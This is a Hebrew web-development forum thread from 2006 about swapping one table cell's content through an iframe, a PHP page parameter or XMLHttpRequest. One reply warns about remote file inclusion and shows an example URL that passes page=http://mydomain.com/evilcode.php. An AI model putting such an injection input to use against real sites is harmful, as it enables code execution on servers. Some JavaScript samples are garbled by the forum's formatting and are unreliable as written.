הוסטס - פורום אחסון האתרים הגדול בישראל

הוסטס - פורום אחסון האתרים הגדול בישראל (https://hosts.co.il/forums/index.php)
-   פורום תיכנות (https://hosts.co.il/forums/forumdisplay.php?f=14)
-   -   שאלה על MENU בטבלאות (https://hosts.co.il/forums/showthread.php?t=25870)

ofek_golan 07-07-06 18:41

שאלה על MENU בטבלאות
 
תקשיבו נגיד אני מחלק את כל הדף לטבלא עם 2 עמודות
MENU ו CONTACT
עכשיו אפשר לעשות שעם לינק בMENU רק הCONTACT ישתנה?

amirs_5 07-07-06 18:45

כן .. אייפריים..
בתוך התא השני תוסיף
קוד:

<iframe id="blabla" src="main.php" frameborder=0 width="xx" height="xx"
name=mains1 topmargin=0 leftmargin=0 rightmargin=0 botmargin=0 marginwidth=0
marginheight=0 bgcolor=black border=0 scroll=no></iframe>

עכשיו הסבר :
בקישורים שנמאים ב menu תוסיף target="blabla"
src="main.php" - זה העמוד הראשון שיעלה בתא השני(CONTACT)
width,height - לא לשכוח להגדיר ע"פ התא(CONTACT) ..
זהו :)

ofek_golan 07-07-06 19:23

אני רציתי לצאת מהמסגרות...
אני ניסיתי פעם ולא מתאים לי מסגרות...

amirs_5 07-07-06 19:48

יש לי עוד דרך שהיא ממש שימושית במיוחד בשבילי.. אם אתה יודע PHP..
ע"י GET .
אתה עושה קישורים לכל אחד מהתפריט הראשון לדוגמא page=1
אז רק התא השני משתנה כל פעם.. :)

RS324 07-07-06 21:44

כן אבל אז אתה צריך לאבטח את זה

תחשוב מה קורה שאני עושה לך כזה דבר:

קוד:

http://somedomain.com/index.php?page=http://mydomain.com/evilcode.php
....

ofek_golan 07-07-06 21:54

אז יש פתרון?

RS324 07-07-06 22:15

כן, אם אתה לא רוצה להשתמש ב IFRAME
אז תעשה עם JAVASCRIPT
בכל מקרה אל תעשה את הדרך שאמיר הציע לך אלה אם אתה יודע לאבטח אותה כמו שצריך...

ofek_golan 08-07-06 10:48

כן איך אבל?
 
אולי תוכל להסביר לי איך אני עושה עם IFRAME וJS???
כי עם IFRAME הוא פותח כאילו חלון חדש וזה לא טוב לי

eLad 08-07-06 12:19

ציטוט:

נכתב במקור על ידי Ofek_Golan
אולי תוכל להסביר לי איך אני עושה עם IFRAME וJS???
כי עם IFRAME הוא פותח כאילו חלון חדש וזה לא טוב לי

אתה לא צריך Iframe. סה"כ עבודה עם xmlHTTP בצד לקוח.

לחיצה על לינק בתפריט, תטען ב DIV של התוכן את העמוד שביקש הגולש בעזרת xmlHTTP צד לקוח.

BlueNosE 08-07-06 12:51

ציטוט:

נכתב במקור על ידי RS324
כן, אם אתה לא רוצה להשתמש ב IFRAME
אז תעשה עם JAVASCRIPT
בכל מקרה אל תעשה את הדרך שאמיר הציע לך אלה אם אתה יודע לאבטח אותה כמו שצריך...

באמת =\
מבנה SWITCH או IF פשוט פותר כל בעית אבטחה.

ofek_golan 08-07-06 14:40

לא
 
זה ממש לא עוזר לי...
אני רוצה שתא אחד בטבלא לא ישתנה והתא השני ישתנה בהתאם לתא הראשון

eLad 08-07-06 15:40

ציטוט:

נכתב במקור על ידי Ofek_Golan
זה ממש לא עוזר לי...
אני רוצה שתא אחד בטבלא לא ישתנה והתא השני ישתנה בהתאם לתא הראשון

אתה לא ברור בכלל..

RS324 08-07-06 15:42

למה דרך IFRAME זה ייפתח בחלון חדש ? אם אתה עושה TARGET ואת השם של החלון
זה אמור להיות בלי בעיה
בכל מקרה
ELAD אני אשמח אם תדביק דוגמא שעובדת גם FF ו IE עבור XMLHTTP

תודה.

eLad 08-07-06 15:50

PHP קוד:

function xmlhttpPost(strURL) {
    var 
oXmlHttp false;
    var 
self this;
        if (
window.oXmlHttpuest) {
            
self.oXmlHttp = new XMLHttpRequest();
        } else if (
window.ActiveXObject) {
            
self.oXmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
    
self.oXmlHttp.open('GET'strURLtrue);
    
self.oXmlHttp.setRequestHeader('Content-Type''application/x-www-form-urlencoded');
        
self.oXmlHttp.onreadystatechange = function() {
            if (
self.oXmlHttp.readyState == 4) {
                
fShowResult(self.oXmlHttp.responseText);
            }
           }
    
    
self.oXmlHttp.send();



ofek_golan 08-07-06 16:39

תקשיב אני פשוט לא רוצה חלונות נוספים...

eLad 08-07-06 16:43

ציטוט:

נכתב במקור על ידי Ofek_Golan
תקשיב אני פשוט לא רוצה חלונות נוספים...

מה הקשר חלונות נוספים?

יש לך דף שמחולק סה"כ ל 2 -

צד ימין DIV עם התפריט שלך

צד שמאל DIV עם התוכן

לחיצה על אחד מהלינקים בתפריט תטען ל DIV התוכן את העמוד המדובר..

או שפשוט לכל עמוד (page1, page2, page3 וכו'), תעשה include לתפריט..

RS324 08-07-06 17:28

אלעד, אתה יכול בבקשה להסביר את השורות האלה

if (self.oXmlHttp.readyState == 4) {
fShowResult(self.oXmlHttp.responseText);
}


וגם , שאלה נוספת , איפה בתוך הפונקציה מוגדר השם של ה DIV שאמור להשתנות ?
אתה יכול לתת דוגמא יותר מפורטת טיפה ?

תודה.

eLad 08-07-06 17:44

ציטוט:

נכתב במקור על ידי RS324
אלעד, אתה יכול בבקשה להסביר את השורות האלה

if (self.oXmlHttp.readyState == 4) {
fShowResult(self.oXmlHttp.responseText);
}


וגם , שאלה נוספת , איפה בתוך הפונקציה מוגדר השם של ה DIV שאמור להשתנות ?
אתה יכול לתת דוגמא יותר מפורטת טיפה ?

תודה.

readyState מחזיר מידע על האובייקט oXmlHttp שיצרתי.

0 - האובייקט נוצר אבל לא אותחל (עם מתודת open)

1 - האובייקט נוצר ואותחל אבל לא נשלחה עוד בקשה (עם send)

2 - שלחתי את הבקשה (עם send), אבל עדיין לא חזרו headers ונתונים

3 - חלק מהנתונים חזרו

4 - כל הנתונים התקבלו בחזרה

בקטע הקוד שצירפת, קבעתי תנאי שבמידה וכל הנתונים התקבלו בחזרה רק אז תציג את ה DIV. אם תשים לב יש שם קריאה לפונקציה fShowResult שיכולה להיראות נניח משהו כזה:

PHP קוד:

function fShowResults(str){
    
document.getElementById("result").innerHTML str;



RS324 08-07-06 18:26

תותח אתה, תודה..


כל הזמנים הם GMT +2. הזמן כעת הוא 04:59.

מופעל באמצעות VBulletin גרסה 3.8.6
כל הזכויות שמורות ©
כל הזכויות שמורות לסולל יבוא ורשתות (1997) בע"מ